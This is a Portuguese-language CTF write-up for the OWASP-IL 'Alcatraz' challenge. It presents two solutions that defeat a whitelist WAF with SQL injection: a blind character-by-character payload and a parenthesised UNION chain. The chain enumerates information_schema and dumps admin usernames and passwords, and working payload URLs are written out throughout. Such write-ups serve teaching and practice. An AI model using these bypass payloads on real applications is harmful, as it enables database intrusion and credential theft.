OWASPIL Alcatraz


Este desafio lida com SQL Injection e WAF Bypass usando o método White List.
Resolvendo o desafio:

Antes de prosseguirmos para a injeção de SQL, devemos primeiro localizar o usuário que é o administrador; isso pode ser feito facilmente analisando todos os IDs do sistema usando o Intruder, conforme mostrado no vídeo.

Em seguida, precisamos encontrar um método pelo qual possamos extrair sua senha que será injetando ao parâmetro id assim:

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=1’`

Não há uma resposta direta para isso – a solução para o desafio será em forma SQL Injection:

Enquanto trabalhamos com um payload, descobrimos que há uma complicação no desafio – WAF. Qualquer trabalho com WAF, a primeira etapa é entender com qual método WAF é utilizado (white/black list) E, consequentemente, aprender como funciona o WAF. Descobrimos rapidamente que o WAF funciona com o método da Lista Branca e principalmente proíbe espaços, aspas, %29-%20 E os outros sinais especiais.

Então, o que é permitido? Parênteses, vírgulas, dígitos e letras. E se letras são permitidas, então certamente funções SQL nativas como instr, strcmp, substr, char etc podem ser usadas’.

Uma explicação das funções que usamos:
Função if:
A função if verifica se uma condição retorna uma resposta positiva ou uma terceira e executa a instrução de acordo

“ if (condition, case true, case false)`

Função instr:
A função instr retorna verdadeiro se str2 estiver contido em str1.

“ instr(str1, str2)`

Função substring:
A função corta a string str da posição from e ao longo do length e retorna a string secundária.

“ substring(str, from, length)`

Função chr:
A função char obtém um número e retorna a representação ascii do número de acordo com o valor decimal.

“ chr(79)`

Então, criamos o payload (carga útil) que pega o 1º caractere da senha e o compara a um caractere cujo valor hexadecimal é 79, se os caracteres forem iguais, retornamos 13 no id que nos mostra a página do administrador, caso contrário, retornaremos 0 que nos mostrará um usuário inexistente:

“ if(instr(substring(password,1,1),char(79)),13,0)`

“Vamos passá-lo ao intruder do burp e ver os resultados:

Percebe-se que os valores 79 e 111 voltaram para nós, sinal de que o primeiro caractere é – O Uma vez que o comando instr não faz distinção entre maiúsculas e minúsculas, continuamos com todos os caracteres da senha e obtemos a seguinte bandeira:

“ OWASP-IL{I_am_the_WAF_bypass_master!}`


Aqui está outra solução para o desafio de Avishai Ruby
Boa leitura

O desafio começa no seguinte endereço, conforme Roman demonstrou:

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=1`

À primeira vista, o URL pode ser visto que o desafio provavelmente está relacionado ao SQLi tanto pelo formato do endereço quanto pela descrição do desafio.

Tivemos mais certesa ainda quando colocamos uma aspa após o parâmetro ID e obtemos um erro SQL

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=1’`

Pelo erro pode-se verificar que trata-se de um banco de dados MariaDB. A primeira coisa a fazer é encontrar o número de colunas usando order by ou group by

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=1 group by 99`

Essa tentativa falhou porque o desafio definiu WAF, que bloqueia espaços, certos caracteres e sinais especiais. Como o espaço e os caracteres especiais são bloqueados e não podemos ignorar o bloqueio diretamente, não podemos executar os métodos usuais de contagem de colunas, como group by / order by / procedure analyzeEtc’.

Portanto, passaremos para um método de conversão baseado em União para o número de colunas e, em nosso caso, ele fica em 8.

Iremos contornar o bloqueio de espaços usando parênteses da seguinte maneira:

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,7,8)`

Usaremos a coluna número 7, que se reflete na página.

Para extrair os nomes das tabelas, executaremos a seguinte consulta: “ select table_name from information_schema.tables`

Dentro do banco de dados information_schema existe uma tabela chamada tables que contém todos os nomes das tabelas.

O problema é que ele também contém as tabelas do banco de dados information_schema e atualmente não estamos interessados nessas tabelas..

Normalmente, para remover somente as tabelas relevantes, usaremos a seguinte condição-

“ where table_schema=database()`

Mas antes de usarmos isso, vamos primeiro descartar que há mais de um banco de dados (Não incluindo information_schema)

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,count(schema_name),(8)from(information_schema.schemata))`

Se olharmos para o resultado parece que existem 2 bancos de dados, e é possível usar a condição.

Usaremos group_concat para reunir todos os nomes das tabelas.

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(table_name),(8)from(information_schema.tables)where(table_schema)like(database()))`

E parece haver apenas uma tabela no banco de dados que é “Employees”

Vamos passar para a extração de suas colunas usando information_schema, observe que o nome da tabela será escrito no valor hexadecimal para ignorar o magic_quotes.

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(column_name),(8)from(information_schema.columns)where(table_name)like(0x456d706c6f79656573))`

E agora iremos emitir as colunas de nome de usuário e senha apenas quando o job_title for admin.

Usei group_concat para isso porque podemos ter mais de um usuário administrador no sistema

“ http://challenges.owaspil.ctf.today:8081/profile.php?id=(null)union(select(1),2,3,4,5,6,group_concat(username,0x3a,password),(8)from(employees)where(job_title)like(0x2561646d696e25))`

E foi assim que consegui a bandeira.:

“ OWASP-IL{I_Am_The_WAF_Bypass_Master!}`

Outros artigos que você pode ter interesse: